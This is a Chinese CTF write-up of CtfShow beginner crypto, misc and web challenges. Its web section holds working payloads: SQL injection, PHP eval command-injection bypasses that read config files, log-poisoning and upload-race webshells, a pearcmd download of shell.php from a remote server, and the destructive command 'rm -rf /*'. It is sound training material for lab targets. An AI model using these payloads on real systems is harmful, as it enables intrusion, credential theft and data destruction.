CtfShow萌新区WP

admin 2022年1月5日23:29:25CTF专场CtfShow萌新区WP已关闭评论22 views10507字阅读35分1秒阅读模式

前言

对,我就是萌新,哭哭。
萌新系列需要萌新码开启,按照第一题提示加群即可获得,不过有些题有时候显示不出来,所以我记录的话会断断续续的

Crypto

密码1

给出了一串16进制的数据,我们先转换成str
CtfShow萌新区WP
得到一串base64编码的数据,我们再去解一下base64
CtfShow萌新区WP
解码后得到一串栅栏密码,再去解一下
CtfShow萌新区WP
在栏数为19的时候得到flag

1
KEY{dffb06a33eeeb0d259c84bd8cf146d08-}

密码2

CtfShow萌新区WP
我们去看一下键盘,发现被rdcvbg 2qase3 6tghu7分别包围的键是f、w和y
于是按照格式得到flag

密码3

题目给出一段字符,看起来是莫斯密码

1
-- --- .-. ... . ..--.- .. ... ..--.- -.-. --- --- .-.. ..--.- -... ..- - ..--.- -... .- -.-. --- -. ..--.- .. ... ..--.- -.-. --- --- .-.. . .-. ..--.- -- -- -.. -.. -- -.. -- -.. -- -- -- -.. -.. -.. /-- -.. -- -.. -.. --/ -- -- -- -- -- /-- -.. -.. -- -.. -- /-- -.. -.. -- 

解密后得到

1
MORSEnullISnullCOOLnullBUTnullBACONnullISnullCOOLERnullMMDDMDMDMMMDDDMDMDDMMMMMMMDDMDMMDDM

结合题目提示培根,只处理尾部M和D,将M转换成A,D转换成B

1
AABBABABAAABBBABABBAAAAAAABBABAABBA

再进行培根密码解密

密码4

给出一串base64编码,去解码一下
CtfShow萌新区WP
再次base家族base85解密
CtfShow萌新区WP
得到flag

Misc

隐写1

下载下来的png文件打不开,提示错误,放进010进去查看
CtfShow萌新区WP
发现文件头错误,png文件头应该是89504E47,将99改成89,再保存打开文件,得到flag

1
flag{zhe_ci_meiyou_ctfshow}

隐写2

下载下来得到一张jpg图片,图片提示jphs隐写,用Jphswin工具打开
CtfShow萌新区WP
点击seek解密,密码没有,就空着不写,然后另存为txt文本,得到flag

1
flag{202cb962ac59075b964b07152d234b70}

萌新_隐写2

下载文件得到一个加密的zip压缩包
CtfShow萌新区WP
提示我们是密码是生日,所以最长有8位数字,直接压缩包爆破
CtfShow萌新区WP
得到压缩包密码为:19981000
打开压缩包后得到flag

萌新隐写3

这题直接打开图片地址,就有flag,emmm

萌新隐写4

下载的是一个doc文档
CtfShow萌新区WP
这里光标停在下边多一行,猜测可能有文字被隐藏了,所以我们去选项打开显示一下隐藏文字
CtfShow萌新区WP
得到flag
CtfShow萌新区WP
当然还有一种办法,就是crtl+a全选复制到外面(隐藏的文字一起被选中),就可以看到flag

萌新隐写5

打开,给了我们一段unicode编码

1
䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀

从中文转换后得到

1
\u4d00\u5a00\u5700\u4700\u4300\u5a00\u5a00\u4900\u4e00\u4200\u5100\u5700\u3600\u5800\u3300\u4b00\u4e00\u4600\u3200\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\u4800\u4c00\u3500\u5200\u4400\u4700\u4d00\u5300\u3700\u4600\u4500\u3d00\u3d00\u3d00\u3d00\u3d00\u3d00

再16进制转化成字符

1
MZWGCZZINBQW6X3KNF2V6YTVL54W63THL5RDGMS7FE======

base32解密得到flag

1
flag(hao_jiu_bu_yong_b32_)

萌新隐写6

下载下来是一个音频文件,拖进音频分析软件里
CtfShow萌新区WP
看到一段有规律的波形,应该是莫斯密码,长的替换成-,短的替换成.

1
-- ..- --.. .. -.- .. ... --. ----- ----- -..

莫斯密码解密得到flag

杂项1

打开,题目说明如下
CtfShow萌新区WP
那我们直接拿这个md5去解一下
CtfShow萌新区WP
得到结果为:helloctf,所以flag是

杂项2

下载下来得到一个压缩包,解压后是一张png图片
CtfShow萌新区WP
丢进010观察,看到flag

萌新杂项3

CtfShow萌新区WP
通过题目描述,可以得到这些数字97,10,01,还着重说了名字小五,银行卡密码只能是数字,那就是15谐音,所以一共是97,10,01,15,银行卡密码只有6位,所以就是互相组合一下,我是直接971015,把后面的01换成15成功了

杂项4

下载得到一个加密压缩包,根据提示,密码为372开头的9位数字,所以我们先生成一个372000000到372999999的字典

1
2
3
with open('pd.txt','w') as f:
for i in range(372000000,373000000,1):
f.write(str(i)+"\n")

CtfShow萌新区WP
再进行压缩包爆破
CtfShow萌新区WP
得到密码为372619038,所以flag为

杂项5

打开题目,下载得到一个txt文件名,但没有后缀,丢进010中查看
CtfShow萌新区WP
发现一段文字,拿去谷歌翻译看看…
CtfShow萌新区WP
翻译看不出有什么有用的信息,但是注意到原文中有{}两个符号,还有F开头的大写,猜测全文的大写字母组合起来就是flag
于是写个脚本

1
2
3
4
5
6
7
8
9
10
'''
Author: dota_st
Date: 2021-01-25 14:47:26
'''
a = "i was always Fond of visiting new scenes, and observing strange characters and manners. even when a mere chiLd i began my travels, and made mAny tours of discovery into foreiGn {parts and unknown regions of my native City, to the frequent alarm of my parents, and The emolument of the town-crier. as i grew into boyhood, i extended the range oF my obServations. my holiday afternoons were spent in rambles about tHe surrounding cOuntry. i made myself familiar With all its places famous in history or fable. i kNew every spot where a murder or robbery had been committed, or a ghost seen. i visited the neighboring villages, and added greatly to my stock of knowledge,By noting their habits and customs, and conversing with their sages and great men.}"
result=''
for i in a:
if((ord(i)>=65 and ord(i)<=90) or (ord(i)==123 or ord(i)==125)):
result = result+i
print(result)

杂项6

得到一个压缩包,题目的意思透露是伪加密,当然有些压缩软件是无视伪加密,直接就能打开,这里我直接就打开看到了flag,不过还是说说预期的做法。首先用010打开压缩包,然后把这里的09改成00再保存,即可去除伪加密

杂项7

下载下来得到一个压缩包,打开是一个色图(出题人是个lsp),根据提示修改高度,放进010中修改高度
CtfShow萌新区WP
png格式的话,从第二行开始,前四个字节代表宽度,后四个代表高度,修改完保存再打开就可以看到flag了

杂项8

下载得到一个压缩包,解压后得到一张png图片
CtfShow萌新区WP
很明显宽度被修改过导致图片损坏,所以我们去找找图片中的crc
CtfShow萌新区WP
crc为:91918666,所以通过脚本进行爆破图片原本的宽度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
'''
Author: dota_st
Date: 2021-01-25 18:40:40
'''
import zlib
import struct

filename = 'flag.png'
with open(filename, 'rb') as f:
all_b = f.read()
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == 0x91918666:
print("宽为:", width, int.from_bytes(width, byteorder='big'))
print("高为:", height, int.from_bytes(height, byteorder='big'))

运行后得到宽为: bytearray(b'\x00\x00\x02\x0c') 524,所以在010中修改03成02保存即可得到正常图片,拿到flag

杂项9

这道题大概就是修改game.dll达到魔兽争霸能开全图视野,然后提交修改的那个基址就可以。这道题不写,看我id应该能联想到曾经我也是dota玩家的一员,可惜如今已被开图弄得满目苍夷😭

杂项10

把图片缩小就能看到是“我好喜欢你”

杂项11

下载下来得到一个图片,是jphs隐写,用工具解密,密码为空,保存为6.txt
CtfShow萌新区WP
打开6.txt,发现png头
CtfShow萌新区WP
修改6.txt成6.png,得到一张二维码
CtfShow萌新区WP
扫描一下二维码
CtfShow萌新区WP
把后面这串base64拿去解密,得到flag

1
flag{战神归来发现自己儿子在刷题,一怒之下召唤10万将士来报仇}

Web

web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

这里注意到有两个条件,第一个如果传入的id大于999则报错,而注释提示我们id等于1000的时候可以查询出flag。这里我们看到括号里的判断是用的intval函数

intval函数特性:
intval函数是获取变量的整型值,当它获取的变量不能被转换时返回0;
如果字符串其中有数字,则返回数字;
如果开头无法被转换,则返回0;

所以我们可以用字符串的形式,如’1000’进行绕过
CtfShow萌新区WP
也可以换成
二进制:0b1111101000
16进制:0x3e8
双重取反:~~1000
或者100*10
这里也存在sql注入
CtfShow萌新区WP
当然省事的话直接按照他sql语句进行,取?id=id--+直接显示全部

web2

接着上道题,这里题目说管理员修改了一下代码,但还是能按照上题思路解出

web3

这次多加了过滤

1
2
3
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}

但我们依然可以利用intval函数特性进行绕过

web4

这次再面基础上又多加了select语句过滤

1
2
3
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}

但intval函数依然存在,我们继续构造?id='1000’获取flag

web5

这次不能再使用’1000‘获取flag了

1
2
3
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}

可以看到,这次正则表达式中匹配了单引号和双引号,再使用?id='1000',单引号就会被匹配到,回显id error
但~没有被过滤,所以我们采取双重取反进行绕过,即构造?id=~~1000,就可获取到flag

web6

依然增加了正则表达式

1
2
3
4
5
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}

这次看到多匹配了一个,但我们不用,我们继续使用双重取反构造获取flag:?id=~~1000

web7

oh,no!

1
2
3
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}

这次它终于把~加到正则表达式了,我们无法使用双重取反的套路了
这次我们使用sql注入,采取?id=id%23进行注入,获取flag

web8

emmm,这道题一开始我还以为是md5全相等,后面问了才知道这是个玩梗的题,即程序员离职删库跑路,命令rm -rf /*,Linux下强制递归删除文件。
所以构造成?flag=rm -rf /*

web9

CtfShow萌新区WP
考查eval命令执行,并且需要匹配到system|exec|highlight三个其中之一
这里使用system命令配合tac读取config.php文件
CtfShow萌新区WP
这里为啥不用cat命令读取?因为cat读取还需要右键查看源码才能看到flag,QWQ
还可以使用highlight,构造成?c=highlight_file(“config.php”);
CtfShow萌新区WP
还可以使用exec命令,构造成?c=exec(‘tac config.php’,$res);var_dump($res);

web10

1
2
3
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}

这次是正则匹配不允许使用,所以这里我们就不能直接使用这三个命令,可以采取命令拼接的方式构造

1
?c=$a='sys';$b='tem';$c=$a.$b;$c('tac config.php');

CtfShow萌新区WP
成功获取到flag

web11

这次是在前面基础上正则匹配到cat

1
2
3
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}

但我用的是tac,所以依然可以按照上题的解法构造,获取flag

1
?c=$a='sys';$b='tem';$c=$a.$b;$c('tac config.php');

web12

这次居然连文件名也过滤了呜呜呜

1
2
3
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}

这波你逼我的,我们利用base64编码进行命令执行
把system经过base64编码后:c3lzdGVt
把tac config.php经过base64编码后:dGFjIGNvbmZpZy5waHA=
所以构成成这样

1
?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("dGFjIGNvbmZpZy5waHA=");$a($b);

CtfShow萌新区WP
成功获取到flag

web13

1
2
3
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}

这次正则匹配增加了.和;符号,也就意味着我们不能再拼接执行语句了
不过还有两个命令执行函数passthru()和assert()函数

passthru()直接将结果输出到浏览器
assert()中如果是字符串,会将其当作php代码执行

使用passthru()
在linux中,反引号的作用是将执行的内容赋予变量,构造如下:

1
?c=passthru('tac `ls`')?>

CtfShow萌新区WP
使用assert()
因为正则表达式的过滤,所以这里还是将system(‘tac config.php’)进行base64编码成c3lzdGVtKCd0YWMgY29uZmlnLnBocCcp
构造如下:

1
?c=assert(base64_decode('c3lzdGVtKCd0YWMgY29uZmlnLnBocCcp'))?>

CtfShow萌新区WP
皆可获取到flag

web14

太可恶了,这次居然连(也给匹配到了

1
2
3
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}

不过我还有妙计,利用单引号进行绕过,构造如下

1
?c=echo `tac conf''ig?p''hp`?>

CtfShow萌新区WP
成功获取flag

web15

阿呆又发疯了,这次把>也给过滤了

1
2
3
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}

不过,这次我再给你重拳一击,用惯了get,这次我就用post打得你满地找牙,构造如下

1
2
?c=echo `$_POST[a]`;
post:a=tac config.php

CtfShow萌新区WP
获取到flag

web16

看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>

把这串md5去解一下
CtfShow萌新区WP
所以我们再构造成

即可获得flag

web17

打开题目,终于换一个系列了
CtfShow萌新区WP
把php都过滤了QWQ,抓包看看
CtfShow萌新区WP
没发现什么东西,这里看见用的中间件是nginx,那就去尝试读取看一下日志,看看能不能成功
nginx默认日志位置:/var/log/nginx/access.log
CtfShow萌新区WP
发现读取成功,那就进行日志注入,再次抓包传马过去
CtfShow萌新区WP
用蚁剑进行连接
CtfShow萌新区WP
连接成功后,再36d.php文件中找到flag

web18-21

使用web17的方法都可以解决

web22

打开环境,发现这次会在后面自动加上.php结尾
CtfShow萌新区WP
然后这次用日志注入的话也行不通,可能给的权限不够了,所以我们另寻出路
在低版本php中,会默认开启一个register_argc_argv配置

register_argc_argv是通过GET请求方法类似于参数传递给可执行文件,$argc是用于记录数组大小,$argv是用于记录输入的参数

这里用“+”号进行分割,就可以操纵argv的参数个数
首先,我们需要在自己的服务器上建一个php文件,先用phpinfo测试能不能成功
CtfShow萌新区WP
然后开始构造

1
?c=pearcmd&+download+http:/xx.xx.xx.xx/shell.php

CtfShow萌新区WP
然后再访问http://41b52ef5-6be1-4210-a42c-cab5937677a7.chall.ctf.show/shell.php
CtfShow萌新区WP
发现能成功访问😏
那我们再把shell.php内容改一下
CtfShow萌新区WP
再请求一次,然后访问shell.php,看到文件
CtfShow萌新区WP
那我们直接把shell.php直接改成tac 36d.php,然后就能拿到flag了

web23

打开网站,发现是文件上传
CtfShow萌新区WP
直接抓包传个一句话木马试试
CtfShow萌新区WP
啊这,上传成功了~这么简单吗,哼哼,访问一下我的马儿🐴
CtfShow萌新区WP
403??咋会没有,重新传了几次,发现访问还是403,擦,不会源码有个删马功能吧,上传就会把我的🐴给删了,那我就写个脚本传死你

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37




import requests
import time
import threadpool
url = "http://ad17eb37-7528-4ee4-bd09-6285147189e5.chall.ctf.show/"


def shell_php(fname):
qingqiu = requests.get(url + "uploads/" + fname + ".php", headers={'Connection':'close'})
result = qingqiu.text
if (len(result) > 0 and "404 Not Found" not in result and "容器已过期" not in result):
print(result)

def Thread_fun(fun, *args):
pool = threadpool.ThreadPool(7)
requests = threadpool.makeRequests(fun, args)
[pool.putRequest(req) for req in requests]

def Thread_start(fname):
for i in range(100, 400):
Thread_fun(shell_php, fname + str(i))

def upload_php():
while True:
file_data = {'file':('shell.php',"<?php system(\"ls ../\");?>")}
r = requests.post(url+"upload.php", files=file_data, headers={'Connection':'close'})
txt = r.text
print("uploaded:", txt)
ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
file_name = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
Thread_start(file_name)

if __name__ == '__main__':
upload_php()

CtfShow萌新区WP
看到目录下有flaghere0.txt,我们把源码中的ls ../改成tac ../flaghere0.txt即可,然后再运行一遍
CtfShow萌新区WP
得到flag😎

web 24

按照题目提示把源码中的随机数改成(0,300),时间改成3即可,运行得到flag

获得百分之百的快乐

打开题目源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>


限制长度为4以下的命令执行,我们先构成?1=ls查看一下有什么文件
CtfShow萌新区WP
发现文件名有s和z开头的,想到最短的命令就是nl命令,nl可以输出文件内容和行号,那只有三个字符长度如何读取secretsecret_ctfshow_36dddddddddd.php中的flag呢?
我们先去kali走一遍,说说原理:
首先使用>可以生成一个文件,我们这里使用>s生成一个空的文件名为s的文件
CtfShow萌新区WP
然后往s中写入abc三个字符后,使用nl s输出试试,输出结果为带行号的s文件内容
CtfShow萌新区WP
我们再使用>nl生成nl为文件名的文件,然后使用*通配符
CtfShow萌新区WP
发现会把abc的文件内容也读取成功了,这是因为*会把ls出来的一串文件名按ls的顺序读取成一个字符串,然后当做命令执行,也就变成了"nl s",变成了一个nl命令
所以这道题的pyload为:

1
2
3
?1=>nl
?1=*
#还有另一个命令od(八进制输出)也是可以的

然后再源码中就可以看到flag了

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:29:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CtfShow萌新区WP http://cn-sec.com/archives/720431.html